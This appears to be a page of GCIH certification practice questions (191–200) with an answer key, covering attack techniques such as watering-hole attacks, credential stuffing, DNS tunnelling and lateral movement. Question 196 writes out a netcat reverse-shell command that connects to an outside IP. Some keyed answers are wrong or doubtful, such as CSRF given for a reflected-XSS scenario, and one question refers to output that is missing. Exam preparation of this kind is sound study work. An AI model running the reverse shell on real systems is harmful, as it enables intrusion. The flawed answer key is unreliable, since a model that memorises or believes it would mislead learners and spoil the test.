GCIH practice questions 191–200

1. Question 191 · 213 in bank

   What is a common characteristic of both a watering hole attack and a drive-by attack?

   • ATargets a browser or files associated with the browser
   • BTargets a specific vertical industry or organization
   • CThe attacker uses customized exploits, not off-the-shelf exploits
   • DThe attack is based on server-side request forgery, not cross site request forgery

   Show answer

   Answer: A

   Next question

2. Question 192 · 213 in bank

   What password attack uses a stolen password breach list?

   • ACredential Stuffing
   • BPass-the-Hash
   • CDictionary Attack
   • DMan-in-the-Middle

   Show answer

   Answer: A

   Next question

3. Question 193 · 213 in bank

   Which of the following describes code wrapping?

   • AUsing API hooks to inject code into a running Windows process
   • BExecuting a Ruby script as a variable within a C program
   • CTunneling encoded commands inside DNS query packets
   • DPacking an executable into a new compressed file

   Show answer

   Answer: B

   Next question

4. Question 194 · 213 in bank

   A victim browses to a news aggregator website through a link sent to them by an attacker. The attacker then alters the page delivered to the victim's browser and includes malicious links. What flaw on the news aggregator website allowed this attack to happen?

   • ASQL Injection
   • BReflected XSS
   • CCross-Site Request Forgery
   • DBuffer Overflow

   Show answer

   Answer: C

   Next question

5. Question 195 · 213 in bank

   Which Windows command cruted the output below?

   

   • Aget-nettcpconnection -state established
   • Bnetstat -an | findstr /i "established"
   • Cnetsh lan show tracing
   • Dget-netiphttpsstate | select-object*

   Show answer

   Answer: B

   Next question

6. Question 196 · 213 in bank

   An attacker at IP address 11.22.33.44 set up a reverse shell so he could execute commands on a server (internal IP address 192.168.20.21) that sits behind a site firewall blocking incoming SSH traffic but allowing all outbound traffic. What command would he run on the server?

   • Atcpdump -nn port 22 and host 11.22.33.44
   • Bssh·-b 192.168.20.21 -p 22 11.22.33.44
   • Cnc 11.22.33.44 22 -e /bin/sh
   • Dlsof -i @192.168.20.21:22

   Show answer

   Answer: C

   Next question

7. Question 197 · 213 in bank

   Using the command below, to which share will the user be connected on 192.168.99.10? C:\> net use \\192.168.99.10

   • AC$
   • BADMIN$
   • CSMB$
   • DIPC$

   Show answer

   Answer: D

   Next question

8. Question 198 · 213 in bank

   How do DNS tunneling tools like DNSCat2 avoid DNS caching?

   • AUse a different UDP port than 53
   • BSend packets at regular intervals
   • CGenerate many unique subdomains
   • DEncrypt the DNS queries

   Show answer

   Answer: C

   Next question

9. Question 199 · 213 in bank

   Which tool can generate source code that can be used as a payload on a Windows system using the following command? msbuild.exe shellwrapper.csproj

   • Amsfvenom
   • Bwscript.exe
   • Cnmap scripting engine
   • DMOF Compiler

   Show answer

   Answer: D

   Next question

10. Question 200 · 213 in bank

    Which file is critical to remove from a domain controller after a password audit?

    • Awordlist.txt
    • Bjohn.pot
    • Cshadow
    • Dntds.dit

    Show answer

    Answer: D

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

GCIH practice, question 191. 213 questions available.